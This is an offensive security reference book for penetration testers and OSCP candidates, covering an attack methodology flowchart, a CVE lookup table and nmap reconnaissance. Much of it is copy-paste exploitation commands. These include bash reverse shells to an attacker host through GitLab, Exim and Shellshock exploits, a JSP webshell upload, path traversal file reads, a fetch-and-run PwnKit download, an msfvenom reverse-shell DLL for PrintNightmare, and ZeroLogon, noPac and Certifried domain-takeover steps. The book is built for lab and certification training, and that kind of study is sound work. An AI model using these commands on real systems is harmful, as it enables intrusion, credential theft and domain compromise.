Offensive Security Resources
A comprehensive offensive security reference built for penetration testers and red teamers.
About This Book
This is a hands-on reference designed to be open during engagements, lab work, and exams. Every page follows the same principle: give you the exact command to run, explain why you're running it, and show what the output looks like so you know you're on the right track.
Who it's for:
- Pentesters preparing for OSCP, OSEP, or similar certifications
- Red teamers who need a quick-reference during engagements
- Students working through HackTheBox, Proving Grounds, or TryHackMe
- Anyone who wants a structured methodology instead of scattered notes
What it covers:
- Full attack chain from initial nmap scan to domain admin
- Common applications with default creds and known exploit paths
- Port-specific enumeration guides
- Linux and Windows privilege escalation
- Active Directory attacks including BloodHound, delegation, and ticket forging
- Supporting topics: file transfers, shell escapes, payload generation, password cracking, steganography, and persistence
How to Navigate
Start with the Methodology Flowchart. It's the first section in the sidebar and acts as a master decision tree for the entire book. When you're stuck, go back to the flowchart.
Use search. Press S or click the magnifying glass to search across all pages. Search for a port number, tool name, CVE, or technique and you'll find the relevant page instantly.
Follow the sidebar order. The book is structured as a sequential methodology. The sidebar flows from reconnaissance at the top through post-exploitation at the bottom. During an engagement, you'll generally work top to bottom.
The Quick Reference table below links directly to the most common needs:
| Need | Go To |
|---|---|
| I don't know where to start | Methodology Flowchart |
| Initial port scan commands | Recon & Scanning |
| Enumerate a specific port | Port Enumeration |
| Web app testing | Web Attacks |
| Exploit a known application | Common Applications |
| Generate a payload or shell | Payload Generation |
| Transfer files to target | File Transfers |
| Crack a hash | Password Attacks |
| Linux root | Linux PrivEsc |
| Windows SYSTEM | Windows PrivEsc |
| Domain compromise | Active Directory |
| Reach internal net | Pivoting |
| Escape a restricted shell | Restricted Shell Escapes |
| Compile an exploit | Compiling Exploits |
| Hidden data in files | Steganography |
| Maintain access | Persistence |
| Time management | Decision Trees |
Keyboard shortcuts:
S— Open search←→— Previous / next pageT— Toggle sidebar
Page Format
Every technique in this book follows the same structure so you can scan pages quickly:
### Technique Name
Description — why you'd use this and when it applies
```bash
the exact command to copy and paste
```
<details>
<summary>Example Output</summary>
What you should expect to see when it works,
so you know you're on the right track.
</details>
- Title tells you what the technique does
- Description tells you why and when to use it
- Command block is copy-paste ready (replace
$IPwith the target,$LHOSTwith your attack box) - Example Output (expandable) shows what success looks like
Variables used throughout the book:
| Variable | Meaning |
|---|---|
$IP | Target IP address |
$LHOST | Your attacker IP address |
$DOMAIN | Target domain name |
$DC_IP | Domain Controller IP |
$SUBNET | Target subnet (e.g., 10.10.10.0) |
Tools You'll Need
This book assumes a Kali Linux attack box. Most tools below come pre-installed. Install anything missing before your engagement or exam.
Core tools (pre-installed on Kali):
| Tool | Used For |
|---|---|
| nmap | Port scanning and service detection |
| gobuster | Directory and vhost brute forcing |
| nikto | Web vulnerability scanner |
| hydra | Online brute force (SSH, FTP, HTTP, etc.) |
| john | Hash cracking |
| hashcat | GPU hash cracking |
| searchsploit | Exploit database search |
| msfvenom | Payload generation |
| netcat (nc) | Reverse shells, file transfers |
| curl / wget | HTTP requests and file downloads |
| enum4linux | SMB/RPC enumeration |
| smbclient / smbmap | SMB share access |
| impacket (full suite) | psexec, secretsdump, ntlmrelayx, mssqlclient, etc. |
| evil-winrm | WinRM shell access |
| crackmapexec | Network-wide credential spraying |
| rpcclient | RPC enumeration |
| ldapsearch | LDAP queries |
| sqlmap | Automated SQL injection (banned on OSCP exam) |
| tcpdump | Packet capture |
| chisel | TCP tunneling without SSH |
| ligolo-ng | Advanced pivoting |
Install separately:
# BloodHound + Neo4j
sudo apt install bloodhound neo4j -y
# Stego tools
sudo apt install steghide stegseek binwalk zsteg exiftool -y
# wpscan
sudo apt install wpscan -y
# mingw (cross-compile for Windows)
sudo apt install mingw-w64 -y
# Python dependencies
pip install bloodhound impacket --break-system-packages
# Ligolo-ng (download from GitHub releases)
# https://github.com/nicocha30/ligolo-ng/releases
Upload to target (keep these ready):
| Tool | Purpose | Get It |
|---|---|---|
| linpeas.sh | Linux privilege escalation scanner | github.com/carlospolop/PEASS-ng |
| winpeas.exe | Windows privilege escalation scanner | github.com/carlospolop/PEASS-ng |
| SharpHound.exe | BloodHound data collector | github.com/BloodHoundAD/SharpHound |
| PowerUp.ps1 | Windows privesc checker | github.com/PowerShellMafia/PowerSploit |
| Rubeus.exe | Kerberos abuse toolkit | github.com/GhostPack/Rubeus |
| Seatbelt.exe | Windows host survey | github.com/GhostPack/Seatbelt |
| chisel | TCP tunnel client | github.com/jpillora/chisel |
| pspy | Monitor Linux processes without root | github.com/DominicBreuker/pspy |
| nc.exe | Netcat for Windows | Pre-compiled in Kali: /usr/share/windows-resources/binaries/ |
Pre-exam setup checklist:
□ Kali updated: sudo apt update && sudo apt upgrade
□ All tools above installed and tested
□ linpeas/winpeas/SharpHound downloaded to ~/tools/
□ Reverse shell one-liners saved in a cheat sheet
□ VPN connection tested
□ Screenshot tool ready (Flameshot recommended)
□ Note-taking app open (CherryTree, Obsidian, or this book)
□ Terminal multiplexer running (tmux)
Built by Jashid Sany for penetration testing and red team engagements.
Methodology Flowchart
Your master decision tree for engagements. When you're stuck, come back here.
PHASE 1: RECONNAISSANCE
┌─────────────────────────────────────┐
│ START: NEW TARGET │
│ nmap -sC -sV -p- $IP │
└──────────────┬──────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ WHAT PORTS ARE OPEN? │
│ Organize by service type │
└──────────────┬──────────────────────┘
│
┌───────┼───────┬──────────┬──────────┐
▼ ▼ ▼ ▼ ▼
Web SMB/RPC FTP SSH/RDP Database
80/443 139/445 21 22/3389 3306/1433/5432
PHASE 2: PORT → ACTION MAP
I see a web port (80, 443, 8080, 8443)
Web Port Found
│
├─→ Browse manually first (check source, robots.txt, comments)
├─→ whatweb / wappalyzer → Identify technology
├─→ gobuster dir → Find hidden directories
├─→ gobuster vhost → Find virtual hosts (if domain found)
│
├─→ Is it a known app?
│ ├─ WordPress → wpscan, theme/plugin RCE
│ ├─ Tomcat → /manager default creds, WAR deploy
│ ├─ Jenkins → /script Groovy console
│ ├─ Drupal → Drupalgeddon2/3
│ ├─ Joomla → joomscan, template edit
│ ├─ Grafana → LFI CVE-2021-43798
│ ├─ Webmin → CVE-2019-15107
│ ├─ GitLab → CVE-2021-22205, explore repos
│ ├─ phpMyAdmin → default creds, INTO OUTFILE
│ ├─ Flask → Werkzeug debugger, SSTI
│ └─ CMS Made Simple → SQLi CVE-2019-9053
│
├─→ Is there a login page?
│ ├─ Try default creds (admin:admin, admin:password)
│ ├─ Try found usernames + common passwords
│ ├─ Check for SQLi in login form
│ └─ Brute force with hydra (last resort)
│
└─→ Test for vulns:
├─ LFI → /etc/passwd, log poisoning
├─ RFI → Host PHP shell
├─ SQLi → Manual UNION, error-based, blind
├─ Command injection → ; | ` $()
├─ File upload → Bypass extension filters
├─ SSTI → {{7*7}} in input fields
└─ XXE → XML input points
I see FTP (21)
FTP Port Found
│
├─→ Check version (nmap -sV)
│ ├─ vsftpd 2.3.4 → Backdoor! (port 6200)
│ └─ ProFTPD 1.3.5 → mod_copy (CPFR/CPTO)
│
├─→ Try anonymous login: ftp $IP → anonymous / (no pass)
│ ├─ YES → Download everything, check for creds/configs
│ └─ NO → Move on, try creds later
│
└─→ Can you upload? → Upload web shell if FTP root = web root
I see SSH (22)
SSH Port Found
│
├─→ Do you have credentials? → Try them
├─→ Do you have a username? → Hydra with targeted wordlist
├─→ Do you have a private key? → chmod 600 + ssh -i
├─→ Old version? → Check searchsploit
└─→ Otherwise → Come back after finding creds elsewhere
⚠️ Don't waste time brute forcing SSH without a username
I see SMB (139/445)
SMB Port Found
│
├─→ enum4linux -a $IP
├─→ smbclient -L //$IP/ -N (list shares)
├─→ smbmap -H $IP (check permissions)
├─→ crackmapexec smb $IP -u '' -p '' --shares
│
├─→ Readable shares? → Download everything, grep for creds
├─→ Writable shares? → Upload SCF/LNK for hash capture
├─→ Found usernames? → Try password spraying
│
├─→ Check Samba version:
│ └─ Samba 3.5-4.6 → SambaCry CVE-2017-7494
│
└─→ With creds:
├─ crackmapexec smb $IP -u user -p pass --shares
├─ psexec / wmiexec / smbexec for shell
└─ secretsdump for hash extraction
I see DNS (53)
DNS Port Found
│
├─→ Try zone transfer: dig axfr @$IP domain.com
├─→ Reverse lookup: dig -x $IP @$IP
├─→ Brute force subdomains: gobuster dns -d domain.com -w wordlist
└─→ Add discovered hostnames to /etc/hosts
I see SMTP (25/465/587)
SMTP Port Found
│
├─→ User enumeration: smtp-user-enum -M VRFY -U users.txt -t $IP
├─→ Check version → Exim 4.87-4.91? → RCE CVE-2019-10149
└─→ Send phishing email (if client-side attacks in scope)
I see SNMP (161 UDP)
SNMP Port Found
│
├─→ snmpwalk -v2c -c public $IP
├─→ onesixtyone -c community.txt $IP
├─→ snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects
└─→ Look for: running processes, installed software, usernames, passwords
I see Database (3306/1433/5432)
Database Port Found
│
├─→ MySQL (3306)
│ ├─ mysql -h $IP -u root -p
│ ├─ Try: root:(empty), root:root, root:password
│ └─ UDF exploitation for RCE
│
├─→ MSSQL (1433)
│ ├─ impacket-mssqlclient user:pass@$IP
│ ├─ xp_cmdshell for RCE
│ └─ Try: sa:sa, sa:(empty)
│
└─→ PostgreSQL (5432)
├─ psql -h $IP -U postgres
├─ COPY TO PROGRAM for RCE
└─ Try: postgres:postgres
I see RDP (3389)
RDP Port Found
│
├─→ Do you have creds? → xfreerdp /u:user /p:pass /v:$IP
├─→ Try: administrator:(found passwords)
├─→ Brute force: hydra -l admin -P wordlist.txt $IP rdp
└─→ BlueKeep (CVE-2019-0708)? → nmap --script rdp-vuln-ms12-020
I see LDAP (389/636)
LDAP Port Found
│
├─→ ldapsearch -x -H ldap://$IP -b "" -s base namingContexts
├─→ ldapsearch -x -H ldap://$IP -b "DC=domain,DC=local"
├─→ Enumerate users, groups, computers
└─→ Found domain? → AD enumeration path
I see NFS (2049)
NFS Port Found
│
├─→ showmount -e $IP
├─→ Mount shares: mount -t nfs $IP:/share /mnt
├─→ Check for sensitive files (SSH keys, configs)
└─→ no_root_squash? → Create SUID binary for privesc
I see WinRM (5985/5986)
WinRM Port Found
│
├─→ Need valid credentials
├─→ evil-winrm -i $IP -u user -p 'password'
└─→ User must be in "Remote Management Users" group
I see Redis (6379)
Redis Port Found
│
├─→ redis-cli -h $IP → Try no auth
├─→ INFO, CONFIG GET dir, CONFIG GET dbfilename
├─→ Write SSH key: redis-cli set payload "ssh-rsa ..."
└─→ Write web shell if web root known
PHASE 3: GOT A SHELL — NOW WHAT?
Got Initial Shell
│
├─→ IMMEDIATELY:
│ ├─ whoami / id
│ ├─ hostname
│ ├─ ip addr / ifconfig (look for dual-homed)
│ └─ Upgrade shell: python3 -c 'import pty;pty.spawn("/bin/bash")'
│
├─→ LINUX:
│ ├─ sudo -l (FIRST THING — check GTFOBins)
│ ├─ find / -perm -4000 2>/dev/null (SUID)
│ ├─ cat /etc/crontab + ls -la /etc/cron*
│ ├─ LinPEAS / linpeas.sh
│ ├─ Check: /etc/passwd, /etc/shadow (readable?)
│ ├─ Check: /home/*/.bash_history, /home/*/.ssh/
│ ├─ Check: env vars, config files, DB connections
│ ├─ ps aux → running services as root?
│ ├─ netstat -tulnp → internal services?
│ └─ Kernel version → searchsploit
│
└─→ WINDOWS:
├─ whoami /priv (SeImpersonate? → Potato attacks)
├─ whoami /groups
├─ systeminfo → OS version, patches
├─ WinPEAS / winpeas.exe
├─ Check: stored creds, autologon, SAM backups
├─ reg query for passwords
├─ Check services: sc query, accesschk
├─ Scheduled tasks: schtasks /query
├─ netstat -ano → internal services?
└─ PowerUp.ps1 / Seatbelt.exe
PHASE 4: ACTIVE DIRECTORY PATH
Found AD Environment
│
├─→ FROM FOOTHOLD:
│ ├─ BloodHound (SharpHound.exe -c All)
│ ├─ Enumerate users: net user /domain
│ ├─ Enumerate groups: net group /domain
│ ├─ Find SPNs: setspn -L on interesting accounts
│ └─ Check: who am I in AD? What groups?
│
├─→ QUICK WINS:
│ ├─ Kerberoast → hashcat -m 13100
│ ├─ AS-REP Roast → hashcat -m 18200
│ ├─ Password spray: Season+Year! (Summer2025!)
│ └─ Responder → capture NTLMv2 → crack or relay
│
├─→ LATERAL MOVEMENT:
│ ├─ Pass the Hash (crackmapexec, psexec)
│ ├─ Pass the Ticket (Rubeus)
│ ├─ WinRM with found creds
│ └─ RDP with found creds
│
├─→ ESCALATION TO DA:
│ ├─ BloodHound → "Shortest Path to DA"
│ ├─ Delegation attacks (unconstrained/constrained/RBCD)
│ ├─ PrintNightmare
│ ├─ ACL abuse (GenericAll, WriteDACL, etc.)
│ └─ DCSync (if you have the rights)
│
└─→ POST-DA:
├─ secretsdump → dump all hashes
├─ Golden Ticket (krbtgt hash)
├─ Loot: SYSVOL, GPP passwords, LAPS
└─ Proof: screenshot of DA + flag
PHASE 5: STUCK? RESET CHECKLIST
I'm Stuck
│
├─→ Did I scan ALL ports? (nmap -p- not just top 1000)
├─→ Did I scan UDP? (nmap -sU --top-ports 100)
├─→ Did I check every version for exploits? (searchsploit)
├─→ Did I try ALL found creds on ALL services?
├─→ Did I check for virtual hosts / subdomains?
├─→ Did I read source code / comments carefully?
├─→ Did I check robots.txt, .git, .env, backup files?
├─→ Did I try default creds on every login?
├─→ Did I look at EVERYTHING on accessible shares?
├─→ Am I looking at an internal service? (port forward it)
│
└─→ Still stuck after all this?
├─ Take a 10-minute break
├─ Re-read your notes from scratch
└─ Move to another machine and come back
OSCP TIME MANAGEMENT
23h 45m Exam Timer
│
├─→ FIRST 30 MIN:
│ Full nmap scan on ALL machines simultaneously
│ Read all results, plan attack order
│
├─→ HOURS 1-8: AD SET (40 points)
│ ├─ Must get all 3 machines in the chain
│ ├─ Start with enumeration → foothold → privesc → lateral → DA
│ └─ If stuck after 3 hours on one step → move to standalones
│
├─→ HOURS 8-16: STANDALONE MACHINES (20 pts each)
│ ├─ Pick the easiest-looking one first
│ ├─ 2-3 hours per machine MAX
│ └─ Low-priv shell = 10 pts, root = 20 pts
│
├─→ HOURS 16-20: RETURN TO STUCK MACHINES
│ └─ Fresh eyes often find what you missed
│
├─→ LAST 3 HOURS:
│ ├─ SCREENSHOTS of every proof.txt / local.txt
│ ├─ Document exact steps to reproduce
│ └─ Start writing report notes
│
└─→ SCREENSHOT CHECKLIST:
├─ ip addr / ipconfig showing target IP
├─ whoami showing root/SYSTEM/DA
├─ cat proof.txt / type proof.txt
└─ All in ONE screenshot together
When in doubt: enumerate harder, spray creds wider, and check internal ports.
CVE Database
Known vulnerabilities commonly encountered on OSCP-style boxes, Proving Grounds, and HackTheBox. Organized by category with version ranges, PoC links, and quick usage examples.
How to use this page:
- Identify the service and version on your target
- Find it in the table below
- Follow the PoC link or use the command provided
Always check SearchSploit first:
searchsploit <service> <version>
searchsploit -m <exploit_id> # Mirror exploit to current directory
WEB APPLICATIONS
WordPress
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2020-25213 | WP File Manager < 6.9 | Unauthenticated file upload RCE | GitHub |
| CVE-2021-24145 | Modern Events Calendar < 5.16.5 | Authenticated file upload RCE | ExploitDB |
| CVE-2022-0739 | BookingPress < 1.0.11 | Unauthenticated SQLi | GitHub |
| CVE-2023-2732 | MStore API < 3.9.3 | Authentication bypass | WPScan |
# CVE-2020-25213 — WP File Manager unauthenticated upload
curl -F 'cmd=upload' -F 'target=l1_Lw' \
-F 'upload[]=@shell.php' \
http://$IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
# Shell at: http://$IP/wp-content/plugins/wp-file-manager/lib/files/shell.php
Drupal
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 | Drupalgeddon2 — Unauthenticated RCE | GitHub |
| CVE-2018-7602 | Drupal < 7.59 / < 8.5.3 | Drupalgeddon3 — Authenticated RCE | GitHub |
| CVE-2019-6340 | Drupal 8.5.x < 8.5.11 / 8.6.x < 8.6.10 | REST module deserialization RCE | GitHub |
# CVE-2018-7600 — Drupalgeddon2 (most common)
python3 drupalgeddon2.py http://$IP/
# Metasploit:
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS $IP
run
Joomla
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2015-8562 | Joomla 1.5 - 3.4.5 | Object injection RCE via HTTP headers | GitHub |
| CVE-2017-8917 | Joomla 3.7.0 | SQLi in com_fields | GitHub |
| CVE-2023-23752 | Joomla 4.0.0 - 4.2.7 | Unauthenticated information disclosure | GitHub |
# CVE-2023-23752 — Information disclosure (leaks DB creds)
curl -s "http://$IP/api/index.php/v1/config/application?public=true" | python3 -m json.tool
# CVE-2017-8917 — SQLi
sqlmap -u "http://$IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 -p list[fullordering] --dbs
Apache Tomcat
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2017-12617 | Tomcat 7.0.0-7.0.81 / 8.5.0-8.5.22 | PUT method RCE via JSP upload | GitHub |
| CVE-2020-1938 | Tomcat < 9.0.31 / < 8.5.51 / < 7.0.100 | Ghostcat — AJP file read/RCE | GitHub |
| CVE-2019-0232 | Tomcat 7/8/9 on Windows with CGI | CGI servlet command injection | ExploitDB |
# CVE-2020-1938 — Ghostcat (AJP port 8009)
python3 ajpShooter.py http://$IP:8009 /WEB-INF/web.xml read
# CVE-2017-12617 — PUT method JSP upload
curl -X PUT "http://$IP:8080/shell.jsp/" -d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
CMS Made Simple
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2019-9053 | CMSMS < 2.2.10 | Blind SQLi — Dumps admin credentials | GitHub |
python3 cmsms_sqli.py -u http://$IP/ --crack -w /usr/share/wordlists/rockyou.txt
GitLab
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2021-22205 | GitLab 11.9 - 13.10.2 | Unauthenticated RCE via image upload | GitHub |
| CVE-2023-7028 | GitLab 16.1 - 16.7.1 | Account takeover via password reset | GitHub |
# CVE-2021-22205 — Unauthenticated RCE
python3 CVE-2021-22205.py -u http://$IP -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"
Grafana
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2021-43798 | Grafana 8.0.0 - 8.3.0 | Unauthenticated arbitrary file read | GitHub |
curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
# Grab the database:
curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o grafana.db
Jenkins
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2024-23897 | Jenkins < 2.442 / LTS < 2.426.3 | Arbitrary file read via CLI | GitHub |
| CVE-2019-1003000 | Script Security Plugin < 1.49 | Sandbox bypass RCE | ExploitDB |
| CVE-2018-1000861 | Jenkins < 2.154 / LTS < 2.138.4 | Unauthenticated RCE | GitHub |
# CVE-2024-23897 — File read via CLI
java -jar jenkins-cli.jar -s http://$IP:8080/ help "@/etc/passwd"
Webmin
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2019-15107 | Webmin 1.890 - 1.920 | Unauthenticated RCE via password_change.cgi | GitHub |
| CVE-2012-2982 | Webmin < 1.590 | Authenticated RCE via file manager | ExploitDB |
# CVE-2019-15107 — Unauthenticated RCE
curl -sk "https://$IP:10000/password_change.cgi" \
-d 'user=root&pam=&expired=2&old=id%7Cid&new1=test&new2=test'
WebLogic
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2020-14882 | WebLogic 10.3.6 / 12.x / 14.x | Unauthenticated RCE | GitHub |
| CVE-2019-2725 | WebLogic 10.3.6 / 12.1.3 | Deserialization RCE | GitHub |
# CVE-2020-14882 — WebLogic unauthenticated RCE
curl "http://$IP:7001/console/css/%252e%252e%252fconsole.portal" \
-H "cmd: id"
Magento
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2015-1397 | Magento < 1.9.2.0 | Shoplift SQLi — Create admin account | ExploitDB |
| CVE-2022-24086 | Magento 2.3.x / 2.4.x | Template injection RCE | GitHub |
# CVE-2015-1397 — Shoplift (creates admin: forme/forme)
python2 shoplift.py http://$IP/
NETWORK SERVICES
FTP
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2011-2523 | vsftpd 2.3.4 | Backdoor — Shell on port 6200 | Metasploit |
| CVE-2015-3306 | ProFTPD 1.3.5 | mod_copy — Unauthenticated file copy | ExploitDB |
| CVE-2019-12815 | ProFTPD < 1.3.5b / 1.3.6 | mod_copy arbitrary file copy | ExploitDB |
# vsftpd 2.3.4 backdoor
nc $IP 21
USER test:)
PASS test
# Then: nc $IP 6200
# ProFTPD mod_copy
nc $IP 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/passwd.txt
SMB / Samba
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| MS17-010 | Windows XP - Server 2016 | EternalBlue — Unauthenticated RCE | GitHub |
| CVE-2017-7494 | Samba 3.5.0 - 4.6.4 | SambaCry — RCE via writable share | Metasploit |
| MS08-067 | Windows XP / Server 2003 / Vista / 2008 | NetAPI RCE — Classic exploit | GitHub |
# MS17-010 — EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 $IP
# Metasploit:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS $IP
run
# CVE-2017-7494 — SambaCry
use exploit/linux/samba/is_known_pipename
set RHOSTS $IP
run
SSH
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2018-15473 | OpenSSH < 7.7 | Username enumeration | GitHub |
| CVE-2016-20012 | OpenSSH < 8.2 | Banner-based user enumeration | ExploitDB |
# CVE-2018-15473 — Username enumeration
python3 ssh_enum.py $IP -U users.txt
# Metasploit:
use auxiliary/scanner/ssh/ssh_enumusers
SMTP
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2019-10149 | Exim 4.87 - 4.91 | "Return of the WIZard" — Unauthenticated RCE | GitHub |
| CVE-2017-7692 | SquirrelMail < 1.4.22 | Authenticated RCE | ExploitDB |
# CVE-2019-10149 — Exim RCE
python3 raptor_exim_wiz.py -t $IP -p 25 -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"
WEB SERVERS
Apache
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2014-6271 | Bash (via Apache CGI) | Shellshock — RCE via HTTP headers | ExploitDB |
| CVE-2021-41773 | Apache 2.4.49 | Path traversal + RCE | GitHub |
| CVE-2021-42013 | Apache 2.4.50 | Path traversal + RCE (bypass of 41773 fix) | GitHub |
# Shellshock
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/4444 0>&1" http://$IP/cgi-bin/script.sh
# CVE-2021-41773 — Apache path traversal + RCE
curl "http://$IP/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
curl "http://$IP/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/bash" -d 'echo; id'
IIS
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2017-7269 | IIS 6.0 (Windows Server 2003) | WebDAV buffer overflow RCE | GitHub |
| MS15-034 | IIS (HTTP.sys) | Integer overflow — DoS / info disclosure | ExploitDB |
# CVE-2017-7269 — IIS 6.0 WebDAV
python2 iis6_exploit.py $IP 80 $LHOST 4444
# Metasploit:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
LINUX PRIVILEGE ESCALATION
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2016-5195 | Linux Kernel < 4.8.3 | Dirty COW — Write to read-only files | GitHub |
| CVE-2021-4034 | Polkit (all major distros) | PwnKit — pkexec local root | GitHub |
| CVE-2021-3156 | Sudo 1.8.2 - 1.9.5p1 | Baron Samedit — Heap overflow root | GitHub |
| CVE-2022-0847 | Linux Kernel 5.8 - 5.16.11 | Dirty Pipe — Overwrite read-only files | GitHub |
| CVE-2022-2588 | Linux Kernel < 5.19 | Route4 use-after-free local root | GitHub |
| CVE-2023-0386 | Linux Kernel < 6.2 | OverlayFS privilege escalation | GitHub |
| CVE-2023-32233 | Linux Kernel < 6.4 | Netfilter nf_tables local root | GitHub |
# PwnKit (CVE-2021-4034) — Works on almost every unpatched Linux
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit
# Dirty COW (CVE-2016-5195)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty newpassword
# Baron Samedit (CVE-2021-3156)
# Check if vulnerable:
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# Exploit:
python3 CVE-2021-3156.py
# Dirty Pipe (CVE-2022-0847)
gcc exploit.c -o exploit
./exploit /etc/passwd 1 $'\npiped:$1$piped$password:0:0::/root:/bin/bash\n'
su piped # password: password
WINDOWS PRIVILEGE ESCALATION
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2020-0787 | Windows 10 / Server 2016-2019 | BITS arbitrary file write → SYSTEM | GitHub |
| CVE-2020-1472 | Windows Server (Netlogon) | ZeroLogon — Domain admin in seconds | GitHub |
| CVE-2021-1675 | Windows (Print Spooler) | PrintNightmare — LPE / RCE to SYSTEM | GitHub |
| CVE-2021-36934 | Windows 10 (1809+) | HiveNightmare — Read SAM as user | GitHub |
| CVE-2022-26923 | AD Certificate Services | Certifried — Domain user to DA | GitHub |
| MS16-032 | Windows 7/8/10 / Server 2008-2012 | Secondary Logon handle privesc | ExploitDB |
| MS16-098 | Windows 8.1 / Server 2012 | Kernel exploit via RGNOBJ | ExploitDB |
# PrintNightmare (CVE-2021-1675)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o evil.dll
impacket-smbserver share $(pwd) -smb2support
python3 CVE-2021-1675.py domain.local/user:'password'@$IP '\\$LHOST\share\evil.dll'
# ZeroLogon (CVE-2020-1472) — Resets DC machine password
python3 zerologon_tester.py DC_NAME $DC_IP
python3 cve-2020-1472-exploit.py DC_NAME $DC_IP
impacket-secretsdump -no-pass -just-dc domain.local/DC_NAME\$@$DC_IP
# HiveNightmare (CVE-2021-36934) — Copy SAM as regular user
icacls C:\Windows\System32\config\SAM
# If readable:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# MS16-032
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032
ACTIVE DIRECTORY
| CVE | Affected Version | Description | PoC |
|---|---|---|---|
| CVE-2020-1472 | Windows Server (Netlogon) | ZeroLogon — Reset DC machine account | GitHub |
| CVE-2021-1675 | Windows (Print Spooler) | PrintNightmare — RCE as SYSTEM | GitHub |
| CVE-2021-42278 + CVE-2021-42287 | AD (all versions) | noPac — Domain user to DA | GitHub |
| CVE-2022-26923 | AD Certificate Services | Certifried — Machine account to DA | GitHub |
# noPac (CVE-2021-42278 + CVE-2021-42287) — User to DA
python3 noPac.py domain.local/user:'password' -dc-ip $DC_IP -dc-host DC01 --impersonate administrator -dump
# Certifried (CVE-2022-26923) — Via AD CS
certipy account create -u user@domain.local -p 'password' -dc-ip $DC_IP -user machine$ -dns dc.domain.local
certipy req -u machine$@domain.local -p 'password' -dc-ip $DC_IP -ca CORP-CA -template Machine
certipy auth -pfx dc.pfx -dc-ip $DC_IP
QUICK LOOKUP WORKFLOW
When you find a service version, follow this process:
1. searchsploit <service> <version> → Local exploit database
2. Google: "<service> <version> exploit" → Recent PoCs
3. Check this page → Curated OSCP-relevant CVEs
4. GitHub search: "CVE-YYYY-XXXXX" → Find PoC repos
5. HackTricks: book.hacktricks.wiki → Methodology + exploits
📡 Recon & Scanning
Initial reconnaissance and port scanning methodology. Run these first on every target.
NETWORK SCANNING
Quick TCP scan (top 1000)
Start here. Fast results. — Find open ports quickly
nmap -sC -sV -oN nmap/initial $IP
Example Output
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache 2.4.29
443/tcp open ssl/http Apache 2.4.29
Full TCP port scan
Run in background while enumerating initial results — Don't miss high ports
nmap -p- -sC -sV -oN nmap/full $IP
Example Output
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8443/tcp open https-alt
10000/tcp open webmin
UDP scan (top 20)
UDP is slow. Top 20 catches SNMP, TFTP, DNS — SNMP and TFTP are common wins
nmap -sU --top-ports 20 -oN nmap/udp $IP
Example Output
PORT STATE SERVICE
53/udp open domain
161/udp open snmp
69/udp open tftp
Aggressive scan on specific ports
After finding ports, dig deeper — OS detection, scripts, traceroute
nmap -A -p 80,443,8080 -oN nmap/targeted $IP
Example Output
nmap -A -p 80,443 10.10.10.5
PORT STATE SERVICE VERSION
80/tcp open http Apache 2.4.29
|_http-title: My Website
OS: Linux 4.15
Traceroute: 1 hop
Vulnerability scan
Run against interesting services — Quick CVE check
nmap --script vuln -p <ports> $IP
Example Output
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution
| State: VULNERABLE
| Risk factor: HIGH
Rustscan (fast alternative)
Scans all 65535 ports fast, passes to nmap — Faster than nmap full scan
rustscan -a $IP -- -sC -sV
Example Output
rustscan -a 10.10.10.5 -- -sC -sV
Open 10.10.10.5:22
Open 10.10.10.5:80
Open 10.10.10.5:8443
(All 65535 ports scanned in 3 seconds)
SERVICE VERSION RESEARCH
Google each service + version
Include version numbers — Known CVEs are free wins
Search: "Apache 2.4.49 exploit"
Example Output
